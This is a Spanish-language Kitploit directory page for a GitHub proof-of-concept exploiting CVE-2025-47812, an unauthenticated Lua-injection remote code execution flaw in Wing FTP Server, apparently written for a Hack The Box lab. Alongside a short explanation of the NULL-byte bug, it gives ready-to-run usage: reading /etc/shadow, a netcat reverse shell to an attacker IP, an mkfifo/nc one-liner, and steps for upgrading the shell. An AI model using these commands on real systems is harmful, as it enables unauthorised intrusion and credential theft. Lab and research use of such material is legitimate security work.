Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-47812 — PoC de CVE-2025-47812 para wingdata HTB | Kitploit
Herramientas/GitHubGitHub/0xs4n4tg/cve-2025-47812
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed TeamingDesarrollo de Payloads
GitHub0xs4n4tg/cve-2025-47812

CVE-2025-47812

PoC de CVE-2025-47812 para wingdata HTB

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-47812 — Wing FTP Server RCE sin autenticación (reescritura)

Exploit en Python para la RCE por inyección Lua no autenticada en Wing FTP Server ≤ 7.4.3. Diseñado para entrega de shell — un comando desde check hasta un callback netcat funcional.

Escrito hace tiempo para el laboratorio wingData en HTB y ahora liberado como código abierto. Úsalo solo contra sistemas que poseas o tengas permiso por escrito para probar.

Créditos

  • Investigación de vulnerabilidad: Julien (@MrTuxracer) — ¿Qué pasa con NULL?! RCE en Wing FTP Server (CVE-2025-47812)
  • PoC original: @4m3rr0r — github.com/4m3rr0r/CVE-2025-47812-poc
  • Este repositorio: una reescritura del PoC anterior que es ligeramente más funcional y fácil de usar.

Resumen de la vulnerabilidad

La función c_CheckUser() de Wing FTP trunca el username en el primer byte NULL para la autenticación, pero la ruta de creación de sesión escribe el nombre de usuario completo sin sanitizar en un archivo de sesión Lua. Inyecta anonymous%00]]<lua>-- y el servidor escribe felizmente tu Lua en la sesión. Al acceder a cualquier endpoint autenticado ( funciona) se carga ese archivo de sesión mediante → , ejecutando el código inyectado como / .

Descargar herramienta
dir.html
loadfile()
f()
root
SYSTEM

Afectado: Wing FTP Server ≤ 7.4.3. Corregido en 7.4.4.

Instalación

root@kitploit:~
pip install requests

Eso es todo — sin otras dependencias.

Uso

root@kitploit:~
# 1. Confirma que el objetivo es vulnerable (ejecuta `id` y verifica `uid=`)
python3 exploit.py -u http://target:5466/ check

# 2. Comando único — captura stdout Y stderr
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"

# 3. Reverse shell (el camino fácil)
#    Terminal 1:
nc -lvnp 4444
#    Terminal 2:
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444

# 4. Payload arbitrario desacoplado — lanza y olvida. Útil cuando falta bash:
python3 exploit.py -u http://target:5466/ detached \
  "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"

Banderas

FlagDefaultPropósito
-u, --urlrequeridoURL base del objetivo — Wing FTP suele escuchar en :5466 (HTTP) o :5467 (HTTPS).
-U, --usernameanonymousNombre de usuario antes del byte NULL. Anonymous funciona en instalaciones por defecto.
-P, --passwordvacíoContraseña para el POST de inyección. Vacía está bien para anonymous.
-v, --verbosedesactivadoMuestra el payload Lua, las URLs visitadas y el cuerpo de respuesta crudo.

Consejos

  • Verifica primero el puerto. La interfaz web no está en el 80 por defecto — prueba http://target:5466/login.html en un navegador antes de asumir que la URL es incorrecta.
  • Si el modo shell no logra un callback, recurre a detached con el payload mkfifo anterior. Algunas imágenes mínimas de Linux no incluyen bash.
  • Mejora la shell capturada una vez que llegue:
    root@kitploit:~
    python3 -c 'import pty;pty.spawn("/bin/bash")'
    # Ctrl+Z
    stty raw -echo; fg
    # Enter, Enter
    export TERM=xterm
    

Descargo de responsabilidad

Solo para uso educativo y pruebas de seguridad autorizadas. Eres responsable de los objetivos a los que apuntes con esto.

Licencia

MIT — consulta LICENSE.